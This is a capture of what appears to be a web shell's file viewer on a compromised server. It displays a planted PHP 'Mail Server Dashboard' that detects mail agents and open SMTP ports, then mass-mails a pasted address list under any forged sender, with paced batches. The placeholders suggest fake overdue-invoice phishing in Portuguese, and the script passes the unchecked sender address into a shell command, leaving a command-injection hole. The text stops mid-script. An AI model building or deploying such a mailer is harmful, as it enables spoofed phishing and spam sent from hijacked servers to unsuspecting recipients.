HEX
Server: LiteSpeed
System: Linux server.tenvelop.com 5.14.0-611.16.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Dec 22 03:40:39 EST 2025 x86_64
User: livspacetenvelop (1024)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //proc/self/root/proc/thread-self/root/proc/self/cwd/indexxx.php
<?php
session_start();
set_time_limit(300);

// ══════════════════════════════════════════════
//  SERVER MAIL DIAGNOSTICS
// ══════════════════════════════════════════════

function detectMTAs() {
    $mtas = [
        'postfix'   => ['cmd' => 'postfix',   'service' => 'postfix',   'label' => 'Postfix',       'icon' => 'PF', 'color' => 'green'],
        'exim'      => ['cmd' => 'exim',      'service' => 'exim4',     'label' => 'Exim',          'icon' => 'EX', 'color' => 'purple'],
        'sendmail'  => ['cmd' => 'sendmail',   'service' => 'sendmail',  'label' => 'Sendmail',      'icon' => 'SM', 'color' => 'amber'],
        'qmail'     => ['cmd' => 'qmail-send', 'service' => 'qmail',     'label' => 'Qmail',         'icon' => 'QM', 'color' => 'red'],
        'opensmtpd' => ['cmd' => 'smtpd',      'service' => 'opensmtpd', 'label' => 'OpenSMTPD',     'icon' => 'OS', 'color' => 'cyan'],
        'msmtp'     => ['cmd' => 'msmtp',      'service' => null,        'label' => 'msmtp',         'icon' => 'MS', 'color' => 'pink'],
    ];

    $results = [];

    foreach ($mtas as $key => $mta) {
        $installed = false;
        $running = false;
        $version = '';
        $path = '';

        // Check if binary exists
        $which = trim(shell_exec("which {$mta['cmd']} 2>/dev/null") ?? '');
        if (empty($which)) {
            // Try common paths
            $tryPaths = ["/usr/sbin/{$mta['cmd']}", "/usr/bin/{$mta['cmd']}", "/usr/lib/{$mta['cmd']}"];
            foreach ($tryPaths as $p) {
                if (file_exists($p)) { $which = $p; break; }
            }
        }

        if (!empty($which)) {
            $installed = true;
            $path = $which;

            // Get version
            if ($key === 'postfix') {
                $version = trim(shell_exec("postconf -d mail_version 2>/dev/null | grep -oP '= \K.*'") ?? '');
                if (empty($version)) $version = trim(shell_exec("{$which} -v 2>/dev/null | head -1") ?? '');
            } elseif ($key === 'exim') {
                $version = trim(shell_exec("exim -bV 2>/dev/null | head -1") ?? '');
            } elseif ($key === 'sendmail') {
                // sendmail binary can be a symlink from postfix/exim
                $realpath = realpath($which);
                if (strpos($realpath, 'postfix') !== false || strpos($realpath, 'exim') !== false) {
                    continue; // Skip, it's a symlink to another MTA
                }
                $version = trim(shell_exec("{$which} -d0.1 -bv root 2>&1 | head -1") ?? '');
            } elseif ($key === 'msmtp') {
                $version = trim(shell_exec("msmtp --version 2>/dev/null | head -1") ?? '');
            } elseif ($key === 'opensmtpd') {
                $version = trim(shell_exec("smtpd -h 2>&1 | head -1") ?? '');
            }
        }

        // Check if service is running
        if ($mta['service']) {
            $active = trim(shell_exec("systemctl is-active {$mta['service']} 2>/dev/null") ?? '');
            if ($active === 'active') $running = true;

            // Fallback: check process
            if (!$running) {
                $ps = trim(shell_exec("pgrep -x {$mta['cmd']} 2>/dev/null") ?? '');
                if (!empty($ps)) $running = true;
            }
        }

        // For postfix, also check master process
        if ($key === 'postfix' && !$running) {
            $ps = trim(shell_exec("pgrep -x master 2>/dev/null") ?? '');
            if (!empty($ps)) {
                // Confirm it's postfix's master
                $check = trim(shell_exec("ps -p {$ps} -o comm= 2>/dev/null") ?? '');
                if ($check === 'master') $running = true;
            }
        }

        if ($installed) {
            $results[$key] = [
                'label'     => $mta['label'],
                'icon'      => $mta['icon'],
                'color'     => $mta['color'],
                'installed' => true,
                'running'   => $running,
                'version'   => $version,
                'path'      => $path,
            ];
        }
    }

    return $results;
}

function detectSendMethods() {
    $methods = [];

    // 1. PHP mail()
    $mailEnabled = function_exists('mail');
    $sendmailPath = ini_get('sendmail_path');
    $methods['php_mail'] = [
        'label'     => 'PHP mail()',
        'icon'      => 'PM',
        'color'     => 'blue',
        'available' => $mailEnabled && !empty($sendmailPath),
        'detail'    => $sendmailPath ?: 'Não configurado',
    ];

    // 2. Sendmail binary (direct pipe)
    $sendmailBin = null;
    foreach (['/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/bin/sendmail'] as $p) {
        if (file_exists($p) && is_executable($p)) { $sendmailBin = $p; break; }
    }
    $methods['sendmail_bin'] = [
        'label'     => 'Sendmail (binário)',
        'icon'      => 'SB',
        'color'     => 'amber',
        'available' => $sendmailBin !== null,
        'detail'    => $sendmailBin ?? 'Não encontrado',
        'path'      => $sendmailBin,
    ];

    // 3. Local SMTP :25
    $smtp25 = @fsockopen('127.0.0.1', 25, $e, $es, 3);
    $banner25 = '';
    if ($smtp25) { $banner25 = trim(fgets($smtp25, 512)); fclose($smtp25); }
    $methods['smtp_25'] = [
        'label'     => 'SMTP Local :25',
        'icon'      => '25',
        'color'     => 'green',
        'available' => $smtp25 !== false,
        'detail'    => $banner25 ?: 'Não respondendo',
    ];

    // 4. Local SMTP :465
    $smtp465 = @fsockopen('ssl://127.0.0.1', 465, $e, $es, 3);
    $banner465 = '';
    if ($smtp465) { $banner465 = trim(fgets($smtp465, 512)); fclose($smtp465); }
    $methods['smtp_465'] = [
        'label'     => 'SMTP Local :465 (SSL)',
        'icon'      => '465',
        'color'     => 'purple',
        'available' => $smtp465 !== false,
        'detail'    => $banner465 ?: 'Não respondendo',
    ];

    // 5. Local SMTP :587
    $smtp587 = @fsockopen('127.0.0.1', 587, $e, $es, 3);
    $banner587 = '';
    if ($smtp587) { $banner587 = trim(fgets($smtp587, 512)); fclose($smtp587); }
    $methods['smtp_587'] = [
        'label'     => 'SMTP Local :587',
        'icon'      => '587',
        'color'     => 'cyan',
        'available' => $smtp587 !== false,
        'detail'    => $banner587 ?: 'Não respondendo',
    ];

    return $methods;
}

function scanPorts() {
    $ports = [25, 465, 587];
    $results = [];

    foreach ($ports as $port) {
        $outbound = false;
        $targets = [
            25  => 'gmail-smtp-in.l.google.com',
            465 => 'smtp.gmail.com',
            587 => 'smtp.gmail.com',
        ];
        $target = $targets[$port];

        if ($port === 465) {
            $ext = @fsockopen("ssl://{$target}", $port, $e, $es, 5);
        } else {
            $ext = @fsockopen($target, $port, $e, $es, 5);
        }
        if ($ext) { $outbound = true; fclose($ext); }

        $results[$port] = ['outbound' => $outbound];
    }

    return $results;
}

// ─── Get hostname & IP ───
function getServerInfo() {
    $hostname = gethostname();
    $ip = trim(shell_exec("hostname -I 2>/dev/null | awk '{print $1}'") ?? '');
    if (empty($ip)) $ip = $_SERVER['SERVER_ADDR'] ?? 'N/A';
    $os = trim(shell_exec("lsb_release -ds 2>/dev/null") ?? '');
    if (empty($os)) $os = php_uname('s') . ' ' . php_uname('r');
    return ['hostname' => $hostname, 'ip' => $ip, 'os' => $os, 'php' => phpversion()];
}

// ══════════════════════════════════════════════
//  API ENDPOINTS
// ══════════════════════════════════════════════

if (isset($_GET['action'])) {
    header('Content-Type: application/json');

    switch ($_GET['action']) {
        case 'detect':
            echo json_encode([
                'server'  => getServerInfo(),
                'mtas'    => detectMTAs(),
                'methods' => detectSendMethods(),
                'ports'   => scanPorts(),
            ]);
            exit;

        case 'rescan_ports':
            echo json_encode(['ports' => scanPorts()]);
            exit;
    }
}

// ══════════════════════════════════════════════
//  SEND HANDLER
// ══════════════════════════════════════════════

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'send') {
    header('Content-Type: application/json');

    $method      = $_POST['method'] ?? '';
    $fromName    = $_POST['from_name'] ?? '';
    $fromEmail   = $_POST['from_email'] ?? '';
    $subject     = $_POST['subject'] ?? '';
    $message     = $_POST['message'] ?? '';
    $contentType = $_POST['content_type'] ?? 'html';
    $emailList   = array_filter(array_map('trim', explode("\n", $_POST['email_list'] ?? '')));
    $pauseEvery  = max(1, intval($_POST['pause_every'] ?? 10));
    $pauseMin    = max(0, intval($_POST['pause_minutes'] ?? 1));

    if (empty($fromName) || empty($fromEmail) || empty($subject) || empty($message) || empty($emailList)) {
        echo json_encode(['success' => false, 'error' => 'Preencha todos os campos obrigatórios.']);
        exit;
    }

    $mime = ($contentType === 'html') ? 'text/html' : 'text/plain';
    $results = [];
    $sent = 0;
    $failed = 0;

    foreach ($emailList as $i => $rawTo) {
        $to = filter_var(trim($rawTo), FILTER_VALIDATE_EMAIL);
        if (!$to) {
            $results[] = ['email' => trim($rawTo), 'status' => 'invalid', 'msg' => 'E-mail inválido'];
            $failed++;
            continue;
        }

        $ok = false;
        $errMsg = '';

        switch ($method) {
            case 'php_mail':
                $headers  = "From: {$fromName} <{$fromEmail}>\r\n";
                $headers .= "Reply-To: {$fromEmail}\r\n";
                $headers .= "MIME-Version: 1.0\r\n";
                $headers .= "Content-Type: {$mime}; charset=UTF-8\r\n";
                $headers .= "X-Mailer: PHP/" . phpversion();
                $ok = @mail($to, $subject, $message, $headers, "-f{$fromEmail}");
                if (!$ok) $errMsg = 'mail() retornou false';
                break;

            case 'sendmail_bin':
                $sendmailBin = null;
                foreach (['/usr/sbin/sendmail', '/usr/lib/sendmail', '/usr/bin/sendmail'] as $p) {
                    if (file_exists($p) && is_executable($p)) { $sendmailBin = $p; break; }
                }
                if (!$sendmailBin) { $errMsg = 'Binário não encontrado'; break; }

                $email  = "From: {$fromName} <{$fromEmail}>\r\n";
                $email .= "To: {$to}\r\n";
                $email .= "Subject: {$subject}\r\n";
                $email .= "MIME-Version: 1.0\r\n";
                $email .= "Content-Type: {$mime}; charset=UTF-8\r\n";
                $email .= "\r\n";
                $email .= $message;

                $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
                $proc = proc_open("{$sendmailBin} -t -f{$fromEmail}", $descriptors, $pipes);
                if (is_resource($proc)) {
                    fwrite($pipes[0], $email);
                    fclose($pipes[0]);
                    $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]);
                    $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]);
                    $code = proc_close($proc);
                    $ok = ($code === 0);
                    if (!$ok) $errMsg = trim($stderr) ?: "exit code {$code}";
                } else {
                    $errMsg = 'proc_open falhou';
                }
                break;

            case 'smtp_25':
            case 'smtp_465':
            case 'smtp_587':
                $portMap = ['smtp_25' => 25, 'smtp_465' => 465, 'smtp_587' => 587];
                $port = $portMap[$method];

                if ($port === 465) {
                    $sock = @fsockopen('ssl://127.0.0.1', $port, $errno, $estr, 10);
                } else {
                    $sock = @fsockopen('127.0.0.1', $port, $errno, $estr, 10);
                }

                if (!$sock) { $errMsg = "Conexão recusada na porta {$port}"; break; }

                $resp = fgets($sock, 512);
                if (substr($resp, 0, 3) !== '220') { fclose($sock); $errMsg = 'Banner inválido'; break; }

                fputs($sock, "EHLO localhost\r\n");
                smtpDrain($sock);

                // STARTTLS on 587 if available
                if ($port === 587) {
                    fputs($sock, "STARTTLS\r\n");
                    $r = smtpDrain($sock);
                    if (substr($r, 0, 3) === '220') {
                        @stream_socket_enable_crypto($sock, true, STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT);
                        fputs($sock, "EHLO localhost\r\n");
                        smtpDrain($sock);
                    }
                }

                fputs($sock, "MAIL FROM:<{$fromEmail}>\r\n");
                $r = smtpDrain($sock);
                if (substr($r, 0, 3) !== '250') { fclose($sock); $errMsg = "MAIL FROM rejeitado: " . trim($r); break; }

                fputs($sock, "RCPT TO:<{$to}>\r\n");
                $r = smtpDrain($sock);
                if (substr($r, 0, 3) !== '250') { fclose($sock); $errMsg = "RCPT TO rejeitado: " . trim($r); break; }

                fputs($sock, "DATA\r\n");
                $r = smtpDrain($sock);
                if (substr($r, 0, 3) !== '354') { fclose($sock); $errMsg = 'DATA rejeitado'; break; }

                $date  = date('r');
                $msgId = '<' . uniqid('m', true) . '@' . gethostname() . '>';
                $body  = "Date: {$date}\r\n";
                $body .= "Message-ID: {$msgId}\r\n";
                $body .= "From: {$fromName} <{$fromEmail}>\r\n";
                $body .= "To: {$to}\r\n";
                $body .= "Subject: {$subject}\r\n";
                $body .= "MIME-Version: 1.0\r\n";
                $body .= "Content-Type: {$mime}; charset=UTF-8\r\n";
                $body .= "\r\n";
                $body .= str_replace("\n.", "\n..", $message) . "\r\n.\r\n";

                fputs($sock, $body);
                $r = smtpDrain($sock);
                $ok = (substr($r, 0, 3) === '250');
                if (!$ok) $errMsg = trim($r);

                fputs($sock, "QUIT\r\n");
                fclose($sock);
                break;

            default:
                $errMsg = 'Método desconhecido';
        }

        $results[] = [
            'email'  => $to,
            'status' => $ok ? 'sent' : 'failed',
            'msg'    => $ok ? 'Enviado' : ($errMsg ?: 'Falha no envio'),
        ];
        $ok ? $sent++ : $failed++;

        // Pause
        if ($pauseMin > 0 && ($i + 1) % $pauseEvery === 0 && ($i + 1) < count($emailList)) {
            sleep($pauseMin * 60);
        }
    }

    echo json_encode(['success' => true, 'sent' => $sent, 'failed' => $failed, 'total' => count($emailList), 'results' => $results]);
    exit;
}

function smtpDrain($sock) {
    $data = '';
    while ($line = fgets($sock, 512)) {
        $data .= $line;
        if (substr($line, 3, 1) === ' ') break;
    }
    return $data;
}
?>
<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Mail Server Dashboard</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
    <style>
        *,*::before,*::after{margin:0;padding:0;box-sizing:border-box}
        :root{
            --bg:#07070b;--bg2:#0c0c14;--bg3:#0f0f18;--bg4:#161622;--bg5:#1c1c2e;
            --border:#1a1a2c;--border2:#252538;
            --amber:#f59e0b;--amber-g:rgba(245,158,11,.10);
            --purple:#7c3aed;--purple-g:rgba(124,58,237,.08);
            --green:#10b981;--green-g:rgba(16,185,129,.10);
            --red:#ef4444;--red-g:rgba(239,68,68,.10);
            --cyan:#06b6d4;--cyan-g:rgba(6,182,212,.10);
            --blue:#3b82f6;--blue-g:rgba(59,130,246,.10);
            --pink:#ec4899;--pink-g:rgba(236,72,153,.10);
            --text:#e4e4e7;--dim:#71717a;--muted:#3f3f50;
            --r:10px;
        }
        body{font-family:'Inter',sans-serif;background:var(--bg);color:var(--text);min-height:100vh;line-height:1.5}

        /* ─ topbar ─ */
        .topbar{border-bottom:1px solid var(--border);padding:16px 28px;display:flex;align-items:center;gap:14px;background:var(--bg2)}
        .topbar .logo{width:36px;height:36px;background:linear-gradient(135deg,var(--amber),var(--purple));border-radius:8px;display:grid;place-items:center;font-weight:800;font-size:15px;color:#fff}
        .topbar h1{font-size:17px;font-weight:700;letter-spacing:-.02em}
        .topbar .v{font-family:'JetBrains Mono',monospace;font-size:11px;color:var(--amber);background:var(--amber-g);padding:3px 10px;border-radius:20px}

        .shell{max-width:960px;margin:0 auto;padding:36px 20px 80px}

        /* ─ section titles ─ */
        .sec{margin-bottom:28px}
        .sec-head{font-size:12px;font-weight:700;text-transform:uppercase;letter-spacing:.08em;color:var(--dim);margin-bottom:14px;display:flex;align-items:center;gap:8px}
        .sec-head .line{flex:1;height:1px;background:var(--border)}

        /* ─ server info strip ─ */
        .server-strip{display:flex;gap:6px;flex-wrap:wrap;margin-bottom:28px}
        .server-strip .chip{
            font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:500;
            padding:6px 14px;border-radius:20px;
            background:var(--bg3);border:1px solid var(--border);color:var(--dim);
            display:flex;align-items:center;gap:6px;
        }
        .server-strip .chip b{color:var(--text);font-weight:600}

        /* ─ port grid ─ */
        .port-grid{display:grid;grid-template-columns:repeat(3,1fr);gap:10px;margin-bottom:28px}
        .port-card{
            background:var(--bg3);border:1px solid var(--border);border-radius:var(--r);
            padding:18px;text-align:center;position:relative;
        }
        .port-card .port-num{font-family:'JetBrains Mono',monospace;font-size:28px;font-weight:800;margin-bottom:8px}
        .port-card .port-row{display:flex;justify-content:center;gap:12px;font-size:11px;font-weight:600}
        .port-card .port-row .tag{padding:3px 10px;border-radius:12px;display:flex;align-items:center;gap:4px}
        .tag-ok{background:var(--green-g);color:var(--green)}
        .tag-no{background:var(--red-g);color:var(--red)}
        .tag-dot{width:6px;height:6px;border-radius:50%}
        .tag-ok .tag-dot{background:var(--green)}
        .tag-no .tag-dot{background:var(--red)}

        .rescan-btn{
            display:inline-flex;align-items:center;gap:6px;
            font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:500;
            color:var(--cyan);background:var(--cyan-g);
            border:1px solid rgba(6,182,212,.2);border-radius:6px;
            padding:6px 14px;cursor:pointer;margin-bottom:28px;transition:all .2s;
        }
        .rescan-btn:hover{background:rgba(6,182,212,.18)}

        /* ─ mta grid ─ */
        .mta-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(180px,1fr));gap:10px;margin-bottom:28px}
        .mta-card{
            background:var(--bg3);border:1px solid var(--border);border-radius:var(--r);
            padding:16px;position:relative;
        }
        .mta-card .mta-icon{
            width:32px;height:32px;border-radius:7px;display:grid;place-items:center;
            font-family:'JetBrains Mono',monospace;font-size:12px;font-weight:700;margin-bottom:10px;
        }
        .mta-card .mta-name{font-size:14px;font-weight:600;margin-bottom:2px}
        .mta-card .mta-ver{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--muted);word-break:break-all}
        .mta-card .mta-badge{
            position:absolute;top:12px;right:12px;
            font-size:10px;font-weight:600;padding:2px 8px;border-radius:10px;
        }
        .mta-badge.running{background:var(--green-g);color:var(--green)}
        .mta-badge.stopped{background:var(--red-g);color:var(--red)}
        .mta-badge.installed{background:var(--amber-g);color:var(--amber)}

        /* ─ method cards (selectable) ─ */
        .method-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(170px,1fr));gap:10px;margin-bottom:28px}
        .m-card{
            background:var(--bg3);border:2px solid var(--border);border-radius:var(--r);
            padding:16px;cursor:pointer;transition:all .2s;position:relative;
        }
        .m-card:hover{border-color:var(--muted)}
        .m-card.active{border-color:var(--amber);box-shadow:0 0 0 3px var(--amber-g)}
        .m-card.disabled{opacity:.3;cursor:not-allowed;pointer-events:none}
        .m-card .m-icon{
            width:30px;height:30px;border-radius:6px;display:grid;place-items:center;
            font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:700;margin-bottom:8px;
        }
        .m-card .m-title{font-size:13px;font-weight:600;margin-bottom:3px}
        .m-card .m-detail{font-family:'JetBrains Mono',monospace;font-size:10px;color:var(--muted);word-break:break-all}
        .m-card .m-status{font-size:10px;font-weight:600;margin-top:6px}
        .m-card .m-status.on{color:var(--green)}
        .m-card .m-status.off{color:var(--dim)}
        .m-card .radio{
            position:absolute;top:12px;right:12px;width:18px;height:18px;
            border-radius:50%;border:2px solid var(--border);display:grid;place-items:center;transition:all .2s;
        }
        .m-card.active .radio{border-color:var(--amber);background:var(--amber)}
        .m-card.active .radio::after{content:'✓';color:#000;font-size:10px;font-weight:800}

        /* ─ form cards ─ */
        .card{background:var(--bg3);border:1px solid var(--border);border-radius:var(--r);padding:24px;margin-bottom:16px}
        .card-t{font-size:12px;font-weight:600;text-transform:uppercase;letter-spacing:.06em;color:var(--dim);margin-bottom:16px;display:flex;align-items:center;gap:8px}
        .card-t .dot{width:6px;height:6px;border-radius:50%;background:var(--amber)}

        .field{margin-bottom:14px}.field:last-child{margin-bottom:0}
        .field label{display:block;font-size:12px;font-weight:500;color:var(--dim);margin-bottom:5px}
        .field input,.field textarea,.field select{
            width:100%;font-family:'Inter',sans-serif;font-size:13px;color:var(--text);
            background:var(--bg4);border:1px solid var(--border);border-radius:7px;
            padding:10px 12px;outline:none;transition:border-color .2s,box-shadow .2s;
        }
        .field input:focus,.field textarea:focus{border-color:var(--amber);box-shadow:0 0 0 3px var(--amber-g)}
        .field textarea{resize:vertical;min-height:110px}
        .row2{display:grid;grid-template-columns:1fr 1fr;gap:12px}

        .pills{display:flex;gap:4px;margin-bottom:14px}
        .pills button{
            font-family:'JetBrains Mono',monospace;font-size:11px;font-weight:500;
            padding:5px 14px;border-radius:5px;border:1px solid var(--border);
            background:transparent;color:var(--dim);cursor:pointer;transition:all .2s;
        }
        .pills button.active{border-color:var(--purple);background:var(--purple-g);color:var(--purple)}

        .pause-row{display:flex;align-items:center;gap:8px;font-size:13px;color:var(--dim);flex-wrap:wrap}
        .pause-row input{
            width:65px;font-family:'JetBrains Mono',monospace;font-size:13px;color:var(--amber);
            background:var(--bg4);border:1px solid var(--border);border-radius:7px;
            padding:8px 10px;outline:none;text-align:center;
        }
        .pause-row input:focus{border-color:var(--amber);box-shadow:0 0 0 3px var(--amber-g)}

        .send-btn{
            width:100%;padding:15px;font-family:'Inter',sans-serif;font-size:14px;font-weight:700;
            color:#000;background:linear-gradient(135deg,var(--amber),#fbbf24);
            border:none;border-radius:var(--r);cursor:pointer;transition:transform .15s,box-shadow .2s;margin-top:6px;
        }
        .send-btn:hover{transform:translateY(-1px);box-shadow:0 6px 20px rgba(245,158,11,.3)}
        .send-btn:active{transform:translateY(0)}
        .send-btn:disabled{opacity:.4;cursor:not-allowed;transform:none;box-shadow:none}

        /* ─ progress ─ */
        .prog{margin-top:20px;display:none}
        .prog-bar{width:100%;height:5px;background:var(--bg4);border-radius:3px;overflow:hidden;margin-bottom:12px}
        .prog-fill{height:100%;width:0%;background:linear-gradient(90deg,var(--amber),var(--purple));border-radius:3px;transition:width .4s}
        .stats{display:flex;gap:16px;font-family:'JetBrains Mono',monospace;font-size:12px;margin-bottom:14px}
        .stats .s{display:flex;align-items:center;gap:5px}
        .stats .s .n{font-weight:700}
        .stats .ok{color:var(--green)}.stats .fail{color:var(--red)}.stats .tot{color:var(--dim)}

        .rlog{
            max-height:220px;overflow-y:auto;font-family:'JetBrains Mono',monospace;font-size:11px;
            background:var(--bg4);border:1px solid var(--border);border-radius:7px;padding:12px;
        }
        .rlog .e{padding:3px 0;display:flex;justify-content:space-between;align-items:center;border-bottom:1px solid var(--border)}
        .rlog .e:last-child{border-bottom:none}
        .rlog .b{font-size:10px;padding:2px 7px;border-radius:4px;font-weight:600}
        .rlog .b.sent{background:rgba(16,185,129,.12);color:var(--green)}
        .rlog .b.failed{background:rgba(239,68,68,.12);color:var(--red)}
        .rlog .b.invalid{background:rgba(113,113,122,.12);color:var(--dim)}
        .rlog::-webkit-scrollbar{width:4px}.rlog::-webkit-scrollbar-thumb{background:var(--border);border-radius:2px}

        /* ─ loading skeleton ─ */
        .skel{background:linear-gradient(90deg,var(--bg3) 25%,var(--bg4) 50%,var(--bg3) 75%);background-size:200% 100%;animation:shimmer 1.5s infinite;border-radius:var(--r);height:80px}
        @keyframes shimmer{0%{background-position:200% 0}100%{background-position:-200% 0}}

        @media(max-width:640px){
            .shell{padding:20px 12px 60px}
            .port-grid,.mta-grid,.method-grid{grid-template-columns:1fr 1fr}
            .row2{grid-template-columns:1fr}
            .topbar{padding:12px 14px}
        }
    </style>
</head>
<body>

<div class="topbar">
    <div class="logo">M</div>
    <h1>Mail Server Dashboard</h1>
    <span class="v">v3.0</span>
</div>

<div class="shell">

    <!-- Server Info -->
    <div class="server-strip" id="server-strip">
        <div class="chip"><span>⏳</span> Detectando servidor...</div>
    </div>

    <!-- Ports -->
    <div class="sec">
        <div class="sec-head">Portas de E-mail <span class="line"></span></div>
        <div class="port-grid" id="port-grid">
            <div class="skel"></div><div class="skel"></div><div class="skel"></div>
        </div>
        <button class="rescan-btn" onclick="rescanPorts()">↻ Re-escanear portas</button>
    </div>

    <!-- MTAs -->
    <div class="sec">
        <div class="sec-head">MTAs Instalados <span class="line"></span></div>
        <div class="mta-grid" id="mta-grid">
            <div class="skel"></div><div class="skel"></div><div class="skel"></div>
        </div>
    </div>

    <!-- Send Methods -->
    <div class="sec">
        <div class="sec-head">Método de Envio <span class="line"></span></div>
        <div class="method-grid" id="method-grid"></div>
    </div>

    <!-- Form -->
    <div class="card">
        <div class="card-t"><span class="dot"></span> Remetente</div>
        <div class="row2">
            <div class="field"><label>Nome</label><input type="text" id="from_name" placeholder="Financeiro - Empresa"></div>
            <div class="field"><label>E-mail</label><input type="email" id="from_email" placeholder="contato@dominio.com"></div>
        </div>
    </div>

    <div class="card">
        <div class="card-t"><span class="dot"></span> Mensagem</div>
        <div class="field"><label>Assunto</label><input type="text" id="subject" placeholder="Sua fatura está pendente"></div>
        <div class="pills">
            <button class="active" onclick="setCT('html',this)">HTML</button>
            <button onclick="setCT('text',this)">Texto</button>
        </div>
        <div class="field"><label>Corpo</label><textarea id="message" rows="7" placeholder="<h1>Olá!</h1>&#10;<p>Sua fatura está pendente...</p>"></textarea></div>
    </div>

    <div class="card">
        <div class="card-t"><span class="dot"></span> Destinatários</div>
        <div class="field"><label>E-mails (um por linha)</label><textarea id="email_list" rows="5" placeholder="a@email.com&#10;b@email.com" style="font-family:'JetBrains Mono',monospace;font-size:12px"></textarea></div>
        <div style="font-size:11px;color:var(--muted);margin-top:6px"><span id="ecount">0</span> e-mails</div>
    </div>

    <div class="card">
        <div class="card-t"><span class="dot"></span> Controle de Envio</div>
        <div class="pause-row">
            Pausar por <input type="number" id="pause_min" value="1" min="0"> min a cada <input type="number" id="pause_every" value="10" min="1"> e-mails
        </div>
    </div>

    <button class="send-btn" id="send-btn" onclick="doSend()">Iniciar Envio</button>

    <div class="prog" id="prog">
        <div class="prog-bar"><div class="prog-fill" id="pfill"></div></div>
        <div class="stats">
            <div class="s ok"><span class="n" id="ns">0</span> enviados</div>
            <div class="s fail"><span class="n" id="nf">0</span> falhas</div>
            <div class="s tot"><span class="n" id="nt">0</span> total</div>
        </div>
        <div class="rlog" id="rlog"></div>
    </div>
</div>

<script>
let selectedMethod = null;
let ct = 'html';

const colorMap = {
    green:  {bg:'var(--green-g)',  fg:'var(--green)'},
    purple: {bg:'var(--purple-g)', fg:'var(--purple)'},
    amber:  {bg:'var(--amber-g)',  fg:'var(--amber)'},
    red:    {bg:'var(--red-g)',    fg:'var(--red)'},
    cyan:   {bg:'var(--cyan-g)',   fg:'var(--cyan)'},
    blue:   {bg:'var(--blue-g)',   fg:'var(--blue)'},
    pink:   {bg:'var(--pink-g)',   fg:'var(--pink)'},
};

window.addEventListener('DOMContentLoaded', () => {
    fetch('?action=detect')
        .then(r => r.json())
        .then(d => {
            renderServer(d.server);
            renderPorts(d.ports);
            renderMTAs(d.mtas);
            renderMethods(d.methods);
        })
        .catch(() => {
            document.getElementById('server-strip').innerHTML = '<div class="chip"><span>⚠</span> Erro na detecção</div>';
        });
});

function renderServer(s) {
    const el = document.getElementById('server-strip');
    el.innerHTML = `
        <div class="chip">HOST <b>${s.hostname}</b></div>
        <div class="chip">IP <b>${s.ip}</b></div>
        <div class="chip">OS <b>${s.os}</b></div>
        <div class="chip">PHP <b>${s.php}</b></div>
    `;
}

function renderPorts(ports) {
    const el = document.getElementById('port-grid');
    el.innerHTML = '';
    [25, 465, 587].forEach(p => {
        const d = ports[p] || {outbound:false};
        const open = d.outbound;
        el.innerHTML += `
            <div class="port-card" style="border-color:${open?'rgba(16,185,129,.3)':'rgba(239,68,68,.2)'}">
                <div class="port-num" style="color:${open?'var(--green)':'var(--muted)'}">${p}</div>
                <span class="tag ${open?'tag-ok':'tag-no'}" style="font-size:12px;padding:4px 14px"><span class="tag-dot"></span> ${open?'OPEN':'CLOSED'}</span>
            </div>`;
    });
}

function rescanPorts() {
    const el = document.getElementById('port-grid');
    el.innerHTML = '<div class="skel"></div><div class="skel"></div><div class="skel"></div>';
    fetch('?action=rescan_ports')
        .then(r => r.json())
        .then(d => renderPorts(d.ports));
}

function renderMTAs(mtas) {
    const el = document.getElementById('mta-grid');
    const keys = Object.keys(mtas);
    if (keys.length === 0) {
        el.innerHTML = '<div style="font-size:13px;color:var(--dim);padding:12px">Nenhum MTA detectado</div>';
        return;
    }
    el.innerHTML = '';
    keys.forEach(k => {
        const m = mtas[k];
        const c = colorMap[m.color] || colorMap.green;
        const badge = m.running
            ? '<span class="mta-badge running">Ativo</span>'
            : '<span class="mta-badge installed">Instalado</span>';
        el.innerHTML += `
            <div class="mta-card">
                ${badge}
                <div class="mta-icon" style="background:${c.bg};color:${c.fg}">${m.icon}</div>
                <div class="mta-name">${m.label}</div>
                <div class="mta-ver">${m.path}</div>
                ${m.version ? `<div class="mta-ver" style="margin-top:2px">${m.version}</div>` : ''}
            </div>`;
    });
}

function renderMethods(methods) {
    const el = document.getElementById('method-grid');
    el.innerHTML = '';
    let firstAvailable = null;

    Object.entries(methods).forEach(([k, m]) => {
        const c = colorMap[m.color] || colorMap.green;
        const dis = m.available ? '' : 'disabled';
        if (m.available && !firstAvailable) firstAvailable = k;
        el.innerHTML += `
            <div class="m-card ${dis}" data-m="${k}" onclick="pickMethod('${k}')">
                <div class="radio"></div>
                <div class="m-icon" style="background:${c.bg};color:${c.fg}">${m.icon}</div>
                <div class="m-title">${m.label}</div>
                <div class="m-detail">${m.detail || ''}</div>
                <div class="m-status ${m.available?'on':'off'}">${m.available?'Disponível ✓':'Indisponível'}</div>
            </div>`;
    });

    if (firstAvailable) pickMethod(firstAvailable);
}

function pickMethod(m) {
    const card = document.querySelector(`.m-card[data-m="${m}"]`);
    if (!card || card.classList.contains('disabled')) return;
    selectedMethod = m;
    document.querySelectorAll('.m-card').forEach(c => c.classList.remove('active'));
    card.classList.add('active');
}

function setCT(t, el) {
    ct = t;
    document.querySelectorAll('.pills button').forEach(b => b.classList.remove('active'));
    el.classList.add('active');
}

document.getElementById('email_list').addEventListener('input', function() {
    document.getElementById('ecount').textContent = this.value.split('\n').filter(l=>l.trim()).length;
});

function doSend() {
    if (!selectedMethod) return alert('Selecione um método de envio.');
    const btn = document.getElementById('send-btn');
    btn.disabled = true; btn.textContent = 'Enviando...';

    const fd = new FormData();
    fd.append('action','send');
    fd.append('method', selectedMethod);
